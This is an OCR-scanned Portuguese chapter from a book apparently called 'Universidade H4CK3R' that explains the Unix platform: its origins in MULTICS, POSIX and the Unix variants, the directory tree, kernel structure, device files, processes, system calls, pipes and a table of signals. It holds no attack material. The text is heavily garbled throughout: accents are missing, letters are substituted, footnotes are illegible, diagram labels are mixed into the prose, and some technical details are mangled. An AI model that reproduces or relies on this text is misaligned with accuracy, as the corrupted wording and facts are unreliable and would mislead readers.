drontadas pela quantidade de femlmentas disponveis ou pda prpria linha de
comando. As interfaces grficas, apesar de no serem como nos primei-
ros tempos, so diferentes dlls que a maioria dos usurios est acostumada. Por
fim, h vrios diferentes de Unix li escolher. ClIda qual tem seus atra-
tivos, mas tambm tem suas dificuldades e ... Espere a! Sabores?
Apenas um jogo de computador ...
Em 1963, o MIT, os laboratrios da Bel! (empresa de telecomunicaes
estadunidense, subsidiria da gigante telefnica AT&"I) c a General Electric
Company unirdm-se para criar um sistema operacional revolucionrio. Obvia-
mente baseado nos computadores GE, o projeto tinha como objetivos:
Ser lllultiusurio;
Ser multitllrefa;
Oferect:r gr.rnde capacidade de armazenamento para dados e programas;
Permitir compartilhamemo de dados entre usurios e grupos.
O sistema foi balizado de MULTlCS, numa referncia :IS suas capacidades
multiusurio e multitarefa. Aps quatro anos de desenvolvimento em um
GE-645, MULllCS de 1969 eSlaV"J. muitssimo aqum dos objetivos propostos,
Nesse mesmo ano, os Bell Labs decidird.m sair do projeto.
Frustrados com a intermpo de seus esforos e desejosos de possuir um siste-
ma que realmente atendesse aOs propsitos inici:lis do MULTICS, alguns
desenvolvedores dos Bell Llbs resolveram, secretamente, iniciar o desenvolvimento
de outro sistema operacional. Um desses desenvolvedores era Ken Thompson,
que no queria mais usar GE-645 com MUL11CS que havia ficado nos Seu Labs
para brincar com seu joguinho preferido. O Space Traveis rodava muito mal no
MULTlCS, e cada partida custava AT&T aproximad,lmcnte 75 dlares.
Thompson decidiu ento portar seu jogo pllra outro computador que estavlI
Mdando sopa" no laboratrio, um PDP-7 tambm d1 DEC. Mas o sistema operdcional
do PDP-7 no era milito nexvel, ento Thompson comeou a escrever rotinas de
apoio para seu joguinho. No perodo de wn ano, ainda em 1969, as
de "1110mp5On tomaram-se a primcirJ. verso do sistema operacional Unix, total-
I AI'I . o r.ldic.1is: qU:lmlo ( ' /II aberros. d(' f1lldrOcs aberros. A
sohre rof/w:lre livre (' cdigo "hcno c uma 0I1Ir.l hiSf6, .. .
187 I
PLataforma Unix
I Universidade H4CK3R I
188 I
mente escrita no Assembler do PDP-7. ParA convencer seus superiores nos BeU lllbs
da seriedade do projeto, apresentaramno como um futuro sistema para
processamento de textos, o que posterionnente evoluiu para um sistema operacional
de uso gerAI.A palavrA Unix
2
era um trocadiIJlO com o nome do
Apenas em 1971 o Unix seria considerado um sistema operacional acabado.
At esse ano, muitas tecnologias foram desenvolvidas para que o "beb-ux" vies-
se ao mundo. Uma delas foi a linguagem C, desenvolvida por Dennis Ritchie a
partir da linguagem B de Thompson. O Unix foi totalmente reescrito em C e
pde, com isso, ser portado para qualquer mquina: bastava recompil-lo. O
conceito de portabilidade o maior trunfo do Unix at hoje e abriu novos
horizontes para a computao. Em 1977, o Unix foi lanado como sistema
operacional comercial e, de l para c, vem equipando sistemas to diversos
como dispositivos de mo e supercomputadores Cray.
Neste livro, usamos a palavrA Unix indiscriminadamente referindo-nos a qual
quer variao ou dos sistemas baseados no Single Unix Specification,
que engloba os padres POSIX, XPG4 e ANSI C. Outros autores usam as nomen-
claturas nix, uix e Unix-like. Unix marca registrada do The Open Group
(www.unix-systems.org). a indica sistemas que se parecem com
um Unix, mas n;lo o so oficialmente (como o GNU/linux e o FreeBSD).
POSIX
Os trs documentos que fonnam o superconjunto Single Unix Specification
aplicamse a partes diferentes do sistema. ANSI C o padro para a linguagem
de progrAmao recomendada para o desenvolvimento de sistemas Unix e pode
ser encontrado em (www.ansi.oOl).J o XPG4 o padrio parA implementao do
servidor X, O programa. central para aplicaes grficas em Unix. lrOnllilCS sobre
a especificao, o servidor X e o X Consortilml podem ser obtidas em Cwww.x.org).
Mas h um mais importante que os outros dois. Todo Unix que se preze deve,
obrigatoriamente, aderir ao POSIX, um padrio mantido por vrias entidades:
IEEE e Open Group, nos Estados Unidos, e ISO/IEC, na Europa. Ele define as
chamadas de sistema, ou seja, as mensagens e sinais que os processos vo tro-
car entre si. Podem ser compar.tdas s mensagens do Wmdows que vimos no
captulo anterior, mas as system calls do Unix so muito mais numerosas,
especializadas e modulares.
2 No h esp.1o aqui para conlilr roda a imercS$Jncssimil hisf6riil do Unix. Um dos melhoIT's documen
tos sobre os primeiros dias, escrito por Ritchk, pode enconrr,Hlo 110 endereo
cm bUlitbs (,'cwI/m/cslwho/<lmr!Wsf hlm/. Al/ll de lu\rrica .. !cio os filfOS que
levaram o /}nix ii se piltYXt!r com o que hoje.
j Nilo pense que o MULTlCS morreu e/ll /969.' Seu desenvolvimenro continuou e il GE (depoif COmpnu.1
pela flone,'weJl e. mais recentemente. pela Hu/J) U1i1izou-Q (,'omo um de siSfem,1s princifMis por I!lUifOS
anos. O ultimo siMcma MULTICS ainda em liulcion:unC1lco foi otic;almente em 31 de oUlubro do
alio 2(}()(). P'.Ir.l "-'Iocr mais !;obl"(. MUI.TlCS. visite o sife dos aficionados: WWllilllUltid;ws 00;. Um en,,-,lio
o 'lI/amo o Unix foi inspirndo no MULTICS "ode ser visfO em WWWII!U1ti CjiIOS Qcg/unjx bfm/.
PLataforma Unix I
Universidade,o ano
Dezenas de sabores sua escolha
Talvez o leitor soubesse a que nos referamos quando dissemos que o Unix
era um sistema operacional aberto. Mais ainda, quando citamos que havia diver-
sos disponveis. Mas Unix um sistema operacional e no um sorvete.
Que negcio esse de
Sendo um padro aberto, o Single Unix Specification permite que vrios
fabricantes possuam a sua prpria implementao. Mesmo sendo extrema-
mente diferentes em alguns casos, ainda so considerados U.nices porque ade-
rem ao padro Unix-98 (a ltima verso do Single Unix Specification). Com
efeito, podemos citar alguns desenvolvedores de software que possuem ver-
ses do sistema:
Sun Microsystems, com seu Solaris;
IBM, com o AlX;
SGr e o IRIX;
BSDi com a implementao BSD e a vers;lo gratuita FreeBSD;
Hewlett-Packard e seu HP-UX;
A prpria Microsoft e o finado Xenix;
A famlia GNU/Linux.
Citamos apenas os mais conhecidos. Existem muitas outras implementaes
Unix, comerciais ou no. O que chamamos de "famlia um conjun-
to de centenas de distribuies diferentes desse sistema operacional de cdigo
aberto, cada uma delas com suas prprias idiossincrasias.
Por que essa confuso? Na dcada de 80, quando vrias implementaes co-
merciais comearAm a ser desenvolvidas, cada fabricante acabou criando seus
prprios padres e a sardinha para o seu lado". Os Unices tornaram-
se to diferentes entre si que acabaram no sendo interoperveis. Uma rede
heterognea era impossvel na poca, e hoje o padro Unix-98 tenta derrubar
essas diferenas.
As entranhas da fera
Todas as recomendaes que j demos no captulo anterior valem para este
tambm (e para todos os subseqentes - repetiremo-Ios diversas vezes, quase
que como uma lavagem cerebral. .. ). Todo hacker que se preze deve conhecer
sistemas Unix, mesmo que os odeie. possvel que, depois da leitura deste
captulo, antigos detratores desse decano mudem de religio e passem a rezar
na igreja de Ken Thompson. Mas, convencido ou no, os sistemas Unix certa
mente faro parte de sua vida de ciberativista.
189 1
Plataforma Uni x
I Universidade H4tK:3R
'0 I
Estrutura
Os sistemas optracionais da fanlia Unix podem, para fins didticos, ser dividi-
dos em panes classificadas por funo: kemel (cerne ou ncleo), shell (concha
ou casca) c progmmas do usurio (aplicativos e ferramentas). Como essa abor-
dagem muito parecida com a prpria defUlio de sistema optrdcional , po-
demos usar uma simplificao do diagrdma em camadas pam demonstr-lo.
Esses trs grdndtS componentes se utiliz.'1m de uma
estnlUlr-l fisica universal cham:ub de sistema
de arquivos. Antes de t..Tltrar (.'m detalhes s0-
bre shell, system calls, processos e
kerncl, vamos mergulhar um lX>u-
co nt:ssa infm-estnltum sobre a
qual todos os Unix so mon-
tados. So necessrios al-
guns fundamentos e co-
mandos do shell para
percorr-lo. Caso fildo
isso seja muito novo
parJ. voci:, consulte o
apndice E,
do
Sistema de
arquIvos
o Microsoft
Windows possui
um:. est.rutum bsi-
ca de dirctrios. En-
tretanto, ela existe
como conseqncia
/
"'UOO
da estruturao do sistema, no como causa. Os arquivos de sistema relevantes
esto frouxamente organizados no diretrio Windows (ou WinNT) e
subdirctrios dentro dele. Mesmo as partes do kernel esto dispostas cm arqui-
vos sepamdos, misturados com OUlms centenas de arquivos dspares jogados
dentro de C:\ WINDOWS. O grJ.nde agente aglutinador do sistema operacional
microsoftiano o Registro do sistema".
j 1.' lIllmm<fu que o Hcghlro dru ''''11<10''''$ c: fi.,iC:Jmemc ,:r:u":Id(} cm cJ,,'crws ar'luivos. c qUt'
Gil/;! "(' 0;;0 UlII conjunto dlfue/1U Qu.mdo f:Jl.lmos cm OI}:;lIllll:J{'iio cio aqui. C.""Ullo.>
li organiZ3iio l/o:ic:J. :J4ud" '/uC :tprcscnlada ;10 1I.",:riO quwdo ele ilbrc o EclilOr ck
R(,:I.,uu c: '1uc t ' comum a lod:Js:Js "crxk' ,' du
PLataforma Unix I
Universidade 1ano
Os Unix, por outro lado, so estruturddos justamente a partir do sistema de
arquivos. Qualquer coisa que possa ser manipulada no sistema tratada como
um arquivo. Isso inclui dispositivos de hardware (como sua plaGI de som ou a
porta de impressora), os processos em execuo e, obvi;lmente, os arquivos
comuns. possvel, por exemplo, copiar um MP3 para dentro do arquivo corres-
pondente sua placa de som: como por mgica, a mllsica soar nos alto-falantes.
Os arquivos ligados aos processos em execuo podem ser lIsados para control-
los. Ler esses arquivos normalmente nos permite ter acesso a informaes s0-
bre o processo; e, grosso modo, podemos escrever neles para mandar mensa-
gens ao processo.
No h indicao no padro POSIX a respeito da org:lIlizao hierrquic:I de
diretrios: sistem:ls de arquivos Unix seguem um padro tcito e no oficial.
I l diversos documentos e proposies tcnicas a respeito, como o File Hierarchy
St.mdard (www.pathnamc,cQm!ibs), mas nenhuma desenvolvedora comercial
de Unix obrigada a segui-los. A nica exceo so os sistemas GNU/Linux, que
possuem uma padronizao especfica c rgida para isso na Linux Standard
Base (www.linuxbase,org) .
Mesmo no havendo um documento oficial , h um consenso na distribuio
de diretrios cm um sistema Unix. Exceto por diferenas muito sUlis, a "rvore"
de diretrios de qualquer sabor de Unix se parece com esta. A hierdrquia de
diretrios , na verdade, um supe rconjunto ou unio das principais estnlturas
dos "sabores" mais comuns, Em alguns silemas, por exemplo, no temos o
Iproc; em outros, o Idev existe, mas possui outro nome; e a organizao abaixo
de Ilib, lusr e Ivar tambm varia entre os diversos tipos de Unix. Mas o "esque-
leto" basicamente esse, e a partir dele muito fcil descobrir e entender as
diferenas de um sistema em especial.
O diretrio principal, aquele que contm todos os outros, chamado de r.1iz,
apesar de estar no topo da representado por um sinal de barra
(J) - no confundir com a barra invertida (\) usada no Windows - e qualquer
arquivo ou diretrio referenci;ldo a partir dele. Por exemplo, o diretrio tmp
deve ser representado como Ilmp. Um arquivo qualquer dentro do diretrio
Itmp seria encontrado se dssemos o endereo completo: Itmp/arquivo.
Cad" um dos diretrios possui uma funo especfica:
!bin: ferramentas necess;lri"s para a operao do sistema;
Isbin; ferramentas do administrador necessrias para a operao e maml-
teno do sistema - o de superuser;
Idev: cada dispositivo de hardware instalado possui um arquivo neste
dirctrio;
lete: os arquivos de configura-Jo do sistema e dos progr;:unas {.--S(.10 Il(.--ste diretrio;
que 11Q$. .... CMruWta {: um:! ;;n'orc illvenidil (g"lhos nO clliio t' mlles ;w Ctll) e"
fi clra ("ell
I 91 I
PLat aforma Unix
I Universidade H4CK3R I
/
1921
bin
dev
etc
home
lib
mnt
pro c
sbin
tmp
Ihome: cada usurio cadastrado no sistema possui
um diretrio com seu nome em /home - esta a lnica
rea de disco que a maioria dos usurios est autoriza-
da a utilizar para gravar seus arquivos;
/lib: as bibliotecas de funcs do sistema esto aqui
- considere-as como as ~ D u s ~ do Unix;
/mnr: diretno usado para conexo a volumes pre-
sentes em outros computadores da rede ou para acessar
dispositivos removveis, como disquetes, fitas magnti-
cas e CDs;
~ Iproc: arquivos representando os pf"()CCSiOS (.111 CXct.""UIo;
~ Itmp: espao para arquivos temporrios gerados
pelos programas ou pelos prprios usurios;
~ /usr: os aplicativos do usurio esto instalados abai-
xo de lusr;
~ Ivar: informaes variveis do sistema (spool de im-
pressora, caixas postais, cache de Internet, log do siste-
ma, etc.).
o diretrio lusr muito importante. Praticamente tudo o
que os usurios vo utilizar est nele. Mas por que esse
diretrio existe? No seria mais fcil colocar tudo em Ibin?
usr Normalmente, o Ibin e o /sbin contm apenas os pro-
var
gr.tmas estritamente necessrios para que o computa-
bin dor funcione e possa dar boOl ou ser reparado. No lusr
esto guardados o restante dos progrdnlas dos usurios
doe (ferramentas, editores de texto, navegadores de lmemet
e ambiemes grficos) bem como a documentao do sis-
e te tema e os arquivos compartilhados. O /usr pode estar na
mesma partio do Ibin e do /sbin. Mas tambm pode
inel ude estar em outra partio, que s acessada pelo sistema
depois que o Unix tennina sua inicializao.
lib O lusr pode ainda estar em uma mquina cemralizada
local
man
sbin
share
src
na rede, que exporta um lusr comum a todas as estaes
Unix. Com isso, o administrador tem de instalar progra-
mas apenas uma vez em vez de faz-lo em cada um dos
computadores Unix sob sua supervis.10.
O lusr quase um "mini-root": contm seus prprios
bin, sbin, Iib, etc., que so, respectivamente, os diretrios
de programas comuns do usurio, ferramentas do
superusurio, bibliotecas de funes dos programas abai-
xo do lusr e arquivos de configurao dos programas
abaixo do lusr. Alm disso, possui diretrios s encon-
Platafo rma Un ix I
Universidade,o ano
trJdos nele. A dupla lusr/include e lusrlsrc presta-se para a compilao de progra-
mas a panir do cdigo-font. O jusrjdoc guarda uma gama varivel de documentos
sobre o sistema e os programas instalados. J o jusrjman encerra a documentao
oficial do sistema, as chamadas man pages. O lusrlshare possui qualquer tipo de
arquivo (imagens, sons, configuraes) que deve ser compartilhado por todos os
programas e usurios.
Por fim, o diretrio jusr!1ocal um Possui uma estrutura de diretrios
praticamente idntica ao lusr. Serve para que programas locais possam ser instala-
dos em computadores que possuam o jusr em outra mquina na rede. Apesar de jusr
ter a possibilidade de ser um de rede, o lusrjlocal continua sendo armazena-
do localmente no HD.
Vasculhe seu sistema Unix antes de prosseguir. No se preocupe - se voc no for
o supenlsurio e usar somente os comandos no-destmtivos como cd, Is e cal, no h
possibilidade de nada. Depois de faz-lo, v para casa, se arrume e saia,
como fez no captulo anterior_ Ou antes, largue este livro e pegue Crime e CIStigO,
de Dostoivski. Ou v tocar flauta doce. Mas relaxe e no pense em Unix at amanh.
o cerne da questo
O kemd cria processos toda vez que pedimos ao sistema operJcional para
rodar um programa. Alm de cri-los, o kernel cuida para que eles colaborem
entre si e no se destmam mutuamente, e tambm gen;ncia os recursos (mem-
ria, CPU, perifricos) que cada processo utiliza.
Compare O diagrama da prxima pgina com o do captulo anterior. Podese
ver claramente que a implementao Unix difere radicalmente de sua equivaJen-
te Windows. Enquanto o sistema da Microsoft utiliza O conceito de microkerneJ -
apenas as funcionalidades bsicas esto no kemeJ e h diversos subsistemas r0-
dando em user mode -, no Unix tudo est embutido num ncleo monoltico.
Mesmo em implementaes cujo keme/ modular, os mdulos tambm rodam
em kernel mode. Apenas os processos dos programas e servios (d;lemolls) r0-
dam no espao do usurio.
6 o diretrio IUlir/indudt: C:lbcalhos com os prottipos d;JS funt:s cm C presentes nas
bibliotec .. as /1iI) c t:nquanlO o /usr/src rect:be o proprio cdigv-fonft: a .'>t:r compilado.
193 I
Plataforma Unix
I Universidade H4CK3R I
User Mode
Kernel Mode
Interface de servio
l
File System
l
Gesto de memria e Input/Output
1941
Os processos comunicam-se
com o kcmeJ por meio de ch;J-
madas de sistema ou syslem
c.llls (a "interfuce de servios"
mostrada no diagrama). As
sysrem calJs interagem com os
componentes do SO por meio
do sistema de arquivos (no se
esquet: em Unix tudo arqui-
vo). Por ele, o kemeJ controla
o hardware, os arquivos do usu-
rio e os prprios proc<'"'SSOS,
que so objeto de um
escalonamento ou scheduling
para definir as prioridades, a
ordem de execuo e a
interao entre eles. Como o
hardware tambm tratado
pelo sistema de arquivos, o
ncleo dos sistemas Unix
nada mais do que um
supergerenciador inteligente
de arquivos.
Plataforma Unix I
Hardware
Programas
t
I Bibliotecas de Sistema I
I
Usurio
Sistema
System call1nterface
t t
File System I
Controle de Processos
Comunicao entre
I I +rcache l
processos
Scheduler
Caracter I Block
Oriented Oriented
Device Drivers
Gesto de memria
t l
Controle de Hardware
Sistema
Hardware
Universi dade 10 ano
Num exame menos simplificado, vemos que os progmmas acessam funes
disponveis nas bibliotecas do sistema. Semelhantes s DLLs dos sistemas
Windows, as bibliotecas compartilhadas (sl1ared objecls ou so) dos sistemas
Unix permitem que vriOS progmmas compartilhem as mesmas caractersticas.
A diferena a maior opo de escolha. O Unix um sistema muito mais modu
lar do que qu"lquer outro. Isso significa que o programador tem muitas opes
de biliOleC:IS pam basear seus progmmas.
Um exemplo a interface gr.ifica. No Windows ela encontm-se em uma nica
biblioteca (GDI.DLL). J no Unix temos diversos roolkrs grficos, todos eles
no servidor X. O mais famoso o Morif, mas h muitos OUlroS.
como o GTK, o Qt e o Tk.
Seja diretameme ou atrnvs das bibliotecas, os processos emitem syscem c:d/s
para o kemel, solicitando alguma coisa. No kemel h rotinas para controle
desses processos (escalonamento, comunicao e memria) e para acessar os
recursos do sistema por meio do sistema de arquivos.
Dispositivos
Os dispositivos do sistema presentes em I dev so arquivos eSI>eciais que se
comuniC'.l.m com o hardware. Melhor dizendo, so representaes (imagens) dos
dispositivos em formato de arquivo. Toda a discusso sobre interrupt h:llldJers
que tivemos no caprulo sobre Windows vale para os sistemas Unix tambm.
Mas ao contrrio do Windows, os sistemas Unix dependem muito pouco da BIOS
em sistemas baseados em hardware PC.Todas as funes originalmente a cargo
da OIOS (cx.cetuando-se a inicializao da mquina) so implementadas no kemeJ.
Outras plataformas de hardware sequer possuem algo parecido com uma BIOS de
PC e, portanto, a implementao dessas funes no kemc/ obrigatria.
Lembramse de como os dispositivos erJ.m acessados no \'Vindows, por meio
de devicc dri\'crs e VxDs? No Unix, obviamente, tambm hil device driw:rs. Mas
ao contn'ario do Windows, os clr'ers so mdulos do kemeJ. Tais mdulos po-
dem ser tanto compilados no prprio kernel de maneinl monoltica como car-
regados sob demanda na memria, se forem compilados como autnomos. A
reside" diferena radical entre a abordagem microkernel do Windows e a de
kemel monoltico do Unix. Os arquivos de dispositivo presentes no Idev comu-
nicam-se com os devjce drivers - e, portanto, com o prrpio kernel, que se
encarrega de controlar o hardware par .. o qual o driver foi escrito.
Os nomes dos dispositivos 5.10 organi7..ados de forma simples. Normalmente
um grupo de duas a quatro !etT'J.s e. opcionalmente, nmeros. Por exemplo, o
primeiro disco rgido (ou qualquer dispositivo IDE) instalado em um sistema
nux o IdevJhda, o segundo o Idev/hdb. Em um Solaris, os mesmos discos
esto representados pelos arquivos Idev/dsk/COtOdO C cOt IdO. H trs tipos de
dispositivos: de bloco, de caracter e de internlces de rede.
Os dispositivos orientados a caractere (character devices ou, :linda, char devices)
I 95 I
Plat aforma Unix
I Universidade H4CK3R I
196 1
so aqueles que podem ser acessados como um arquivo comum. Voc pode
escrever neles ou ler a partir deles, sempre um byte por vez. De fato, os drivers
que implementam esses dispositivos aceitam scr manipulados por funes pri-
mitivas como open(), close( ) , read() e write( ).Alguns exemplos so as portas
seriais, o tcclado e o mouse.
bvio que h diferenas entre os dispositivos de caractere e um arquivo co-
mum. Se for criado um arquivo comum e, dentro dele, for gravada a frase " Hey
&avis, l'm a Unix string!" , possvel recuperar essa frase toda vez que o arquivo
for lido. Um dJar device, por outro lado, apenas um canal de comunicao entre
o espao do usurio e o dispositivo. O que for cnviado por meio do /dev tratado
pelo hardware e no pode mais ser recuperado. Quando se tenta ler do disposi-
tivo, o que se obtm so os dados que o mesmo est enviando ao sistema de
arquivos naquele momento, no os gravados anteriormente.
Os dispositivos orientados .1 bloco (block devices) , por outro lado, s podem
ser acessados por meio de grandes pacotes de informao. Nomulmcnte encer-
ram em si componentes nos quais possvel guardar sistemas de aquivos, como
HDs, disquetes e CD-ROMs. Um disco rgido, na maioria dos sistemas Unix, s
pode ser acessado em blocos de 1 kbyte. Se for necessrio gravar, por exemplo,
apcnas 128 bytes no disco, ser usado um bloco de 1 Kbyte 0024 bytes) para tal.
Os bJock devices possuem, por isso mesmo, uma velocidade de transferncia
(throughput) muito maior do que os dispositivos de caractere.Tambm por trans--
ferirem grandes quantidades de dados, podem COOlar com uma rea de transfe-
rncia auxiliar (buffer) do tipo c:lChe, que aumenta ainda mais o througlJpul.
O ltimo tipo de dispositivo presente no /dev so as chamadas intemlces de
rede. Em sistemas linux, so representadas no jdev por ethO para a primeira
placa, eth I para a segunda e assim por diantc. Em um sistema HP-UX, que usa
placas IOlel, as interfaces foram chamadas de ilJO, jeJJ, elc. H dispositivos de
rede que so puro software. Dois exemplos so o loopback (interface lo) , que
direciona o tr.ego de rede para a prpria mquina (endereo 127.0.0.0), e os
sockets de comunicao do servidor X Window.
As interfaces de rede so, no fimdo, dispositivos orienL"1dos a caracterc, embord
especializados. Em algumas implementaes, os dispositivos SCSI so considerados
como um quarto tipo de dispositivo, embora sejam, na prtica, dispositivos de bloco.
Processos Ino, isso no papo de advogado)
Em um sistema Unix, os processos so as entidades mais importames. Alm
dos programas do usurio, todos os servios e servidores que rodam em um
computador com Unix se baseiam em um ou mais processos. Uma mquina Unix
pode conter, entre outras coisas, um servidor Web, um banco de dados, um servi-
dor de e-mails ou uma rdio on-Iine. Cada um desses servios chamado de d:lemon
e dispara um ou mais processos identificados por nmeros nicos em todo o
sistema. Cada processo possui seu nmero de identificao exclusivo. O servidor
Web do exemplo possui diversos processos apenas para se manter "no a r ~ e
Plataforma Unix I
Universidade'o ano
cada conexo de um browser de Internet a alguma pgina desse servidor cria
mais um processo. fcil perceber que num arr,mjo como esse h sistemas
Unix com milhares de processos simultneos.
O primeiro processo gerAdo por um programa qualquer chamado de pai.
Cada um dos processos gerados por esse pai chamado de filho. Como h vri-
os niveis de processos, podemos dizer que um processo sempre filho de ou-
tro mais primitivo e pode ele mesmo ser pai de outros processos mais novos.
I-L' duas mmeiras de iniciar tU11 processo. A primeirA a mais trivi..1.I: o usurio emite
um comando no prompt e o shell transfonna esse comando em um processo. Mas h a
possibilidade (ou antes, a necessidade) de iniciar processos automaticamente.
Na inicializao do Unix, o keme1, assim que C'Arregado, trata de iniciar o primei-
ro processo: o init. Ele o pai de tooos os outros processos gecados a partir de ento.
O init finaliza o procedimento de boot carregando as configuraes do sistema e
inicializando tooos OS d1emOllS referentes aos servios que a rrriiquina deve oferecer.
Alguns desses daemons so servios de rede, como e-mail (SMTP) e Web (I-I'ITP).
Tais servios a rede espera de solicitaes vindas de outros compu-
tadores. Por exemplo, um servio H1TP espera que computadores com browsers
de Internet conectem-se a ele. Caso a conexo seja estabelecida, o daemon cor-
respondente envia ao navegador do outro computador a pgina solicitada.
interessante notar que esses servios esperAm continuamente por cone-
xes, o que significa que consomem recursos da mquina mesmo quando ocio-
sos. ParA evitar isso, os servios menos requisitados podem ser agrupados em
um superservidor chamado inerd, que aguarda por conexes a diversos servi-
os. Caso um desses servios seja solicitado, o inetd carrega o daemon necess-
rio. Quando a conexo acaba, o inetd descarrega o daemon da memria.
D?
Sempre escytam
8 rede espera
de
I
Os processos comunicam-se entre si por
meio de sinais e emitem requisies ao siste-
ma operacional atrAvs das cJmmadas de sis-
tema ou system calls. H diversos sinais e cha-
madas padronizadas pela norma POSIX.
Ei. poderia me fazer um favor?
Sempre que um processo precisa de alguma coisa do computador, emite uma
cham:,da de sistema ao kecnel. As tarefas que as aplicaes pedem ao kecnel
podem ser de acesso a perifricos, solicitao CPU para uma conta" ou
requisio de mais memria. Existem dezenas de system calls. As mais bsicas
so fork, exec e wait. A fork cria um processo filho que um clone do processo
pai: tem as mesmas caracterislicas, trabalha com os mesmos arquivos j abertos
(embora possa abrir outros novos s para si) e, o mais importante, pertence ao
197 1
I Plataforma Uni x
I Universidade H4CK3R I
198 1
mesmo programa que gerou o processo paLAs nicas diferenas so o nlJnlero
de identificao de cada processo e o nmero de identificao do processo pai.
J a chamada exec transfere o controle da CPU para outro processo ou progra-
ma.Os arquivos que estavam abertos para o programa original so redirecion:\dos
para os processos gerados pdo novo programa. Usando ambas as chamadas
nessa ordem (fork depois excc), um processo cria um filho e transfere o com:l.I1-
do para ele. Quando o processo filllO completar sua tarefa, envia os resultados
do processamento ao pai.
A dupla fork+exec, entretanto, no evita que o processo pai continue rodan-
do. llara que o processo pai entre em hibernao e espere parado o trmino do
processo filho, usa-se a chamada de sistema w.1ic. Como o processo pai est
dormindo, no emra no rime sharing da mquina e , portanto, economiza recur-
sos. O processo pai s voltar ,lOS ciclos de processamento da mquina quando
o processo filho deixar de odstir ou, no jarg;lo tcnico,
Um exemplo prtico a linha de comando ou shell. Imagine que o usurio
digitou um comando e o shell ficou congelado, sendo liberado somente depois
de o comando ser fmalizado. Nesse caso, o S/leU emitiu uma chamada w:,;c para
o comando do usurio. Se por outro lado o usurio emitir um comando e, ape-
sar de o programa aind:l estar rodando, o prompt aparecer imediatamente,
indCio de que o shell no usou a chamada de sistem:l waic.
Comunicao entre processos
Il casos em que, em vez de solicitarem alguma coisa ao SO, os processos nect:ssi-
tem comWlicar-se tulS com os outros. Uma das fomlas possveis a comuniC'd'lo
entre processos pai e filhos. O processo pai Ixxle, por exemplo, f.aer l.lfl1a chamada
de sbtema ptr.lce para raslre<lr possveis bugs de programao no processo filho.
Oulro exemplo de comunicao entre processos so os pipes ou dutos. Pipes
s10 lima maneira de o prprio usurio determinar a Iig:lo entre a sada de um
processo e a entr.lda de Oulro. Isso feito na linha de comando, com o caractere
I (que, no por acaso, chamase pipe .. .) . Observe o comando a seguir:
$ ps -e I grep netscape
Esse comando toma a sada do primeiro progr.ltna (ps -e) e o joga na entr.lda
do segundo progr.llna (greI' netscapc). Observe que os dutos tm uma peculia-
ridade: apenas ligam processos oriundos do mesmo pai. No C:lSO acima, os co-
mandos ps e grep so ftlhos do mesmo shell.
Um terceiro mtodo de os processos se conllUlcarem atravs dos IPCMFs ou
Inter Pll)(:eS5 Communicurion Mess:Jge FaciJiries. Os IPCMFs nada mais so 00 que fiL1S.
Existl. .. 'm processos mUlsmissores, que so autorizados a coioC'.rr mensagens na fll:l, e
procCSS05 receptores, que ob\'iamt.1lte os retiram. Um exemplo de implementao de
IPCMFs so os spooIs de impresso. Vrios progr;un3S e usurios pos .. <;tK'Ill JX.Tlnis.<;::10
paro\ CSCI"l."'V(.T na fila de impresso, e possvel que vrias impressorJS (e seus c/cvk:c:
clril'(."TS) "puxem" dOCtmlcntos para serem impressos por elas.
Plataforma Uni x I
Universidade'o ano
Sinais e semforos
Os mtodos de comunicao interprocessos mais primitivos, entretanto, so os
sinais. So mensagens muito simples que um processo envia a outro. Apenas pro-
cessos ativos podem enviar sinais. Como apenaS um processo pode estar ativo
em um dado momemo - a no ser que o sistema possua vrios pocessadores -,
um sinal certamente vai acordar o processo destino, que obviamente est suspenso.
Quando um processo suspenso volta atividade, o kernel verifica se existe
algum sinal para ele. Se existir, o sistema pode tomar uma entre trs providnci
as: ignorar o sinal, entreg-lo ao processo destinatrio ou captur-lo. Quando um
sinal capturado, o sistema executa uma de suas rotinas de tratamento de sin.1/,
que varia de acordo com a natureza do mesmo.
Originalmente, eram considerados 22 sinais. &"gundo o padro POSIX.l , hoje, h 31
sinais diferentes, cada Wll solicitando uma ao especfica no processo destino. $.10 e1es:
N" NOME
SIGHUP
2 SIGINT
3
SIGQUlT
4 SIGILL
5
SIGTRAP
6 SIGIOT/SIGABRT
7
SIGEMT
8 SIGFPE
9
SIGKlLL
10
SIGBUS
"
SIGSEGV
12 SIGSYS
[3 SIGPIPE
[4
SIGALRM
[5 SIGTERM
[6
SIGUSRl
[7 SIGUSR2
18 SIGCLD
19
SIGPWR
20 SIGWINCH
21 SIGURG
22 SIGlO
23 SIGSTOP
SIGNIFICADO
Desliga o processo devido morte do processo pai
Processo interrompido pelo teclado
Fecha o processo e o descarrega da memria
Informa que o processo fez uma operao ilegal
TraceftJreakpoinl trap - para mSlrearnento de iJu&'; (Systern V)
Abona processo
EMTTrap (System V)
Exceo (erro) em ponto flutuante
Encerra o processo - no pode ser ignorado
Acesso memria defeituosa (System V)
Referncia invlida memria (segment.1tion (;lUlt)
Chamada de sistema com argumento errado (System V)
Duto quebrado: no h processo recebendo os dados
Despertador originrio do comando C
EncerrJ. o processo - pode ser ignorado
Sinal definido pelo usurio
Sinal definido pelo usurio
Morte" de um processo filho
Queda de energia (System V)
Redimensiona janela (BSD 4.3 e Sun)
Condio urgente no 'socket' (BSD 4.2)
EIS possvel agora (BSD 4.2)
Congela processo
199 1
Pl ataf orma Uni x
I Universi dade H4CK3R I
1 100 I
24 SIGTSTP Stop digitado no terminal TIY
2; SIGCONT Mantm congelado
26 SIGTTIN ObI:m dados do tenninal pard processo em segundo plano
27 SIGTTOUT Processo em segundo plano entrega dados ao terminal
28
SIGVfALRM Despertador virtual (BSD 4.2)
29
SIGPROF Sinal Timer (System V)
30
SIGXCPU' Tempo de CPU excedido (BSD 4.2)
31
SIGXFSZ Tamanho do arquivo excedido (BSD 4.2)
A tabela considera os sinais POSIX.I em arqujtetura RJSC MIPS. Arquiteturas
Alpha, Sparc, i386 (PC) e PowerPC possuem alguns valores diferemes. Por exem-
plo, para i386 e Sparc o sinal 16 SlGSTKFLT - falha no coprocessador. Sinais
marcados com asterisco (*) so apenas parte da implementao GNU/linux -
no so padro POSIX.l e tm sua origem indicada entre parnteses. Consulte
m.1n 7 signals em seu sistema para informaes mais delalhadas e visite o site
(www.unix-systems.org) para saber mais sobre o novo padro POSlX.2.
Os sinais so trocados entre os processos em andamento. possvel fOf\-aJ"
manualmente o envio de Wl1 a partir do shell com o comando kilJ. O nome do
comando dio nem wn pouco apropriado, pois ele 0.10 usado apt:n..'lS pard enviar
SIGTERM ou SIGKIll (ou seja, matar o processo). Qualquer sinal pode ser enviado
pelo COlnando kilJ.
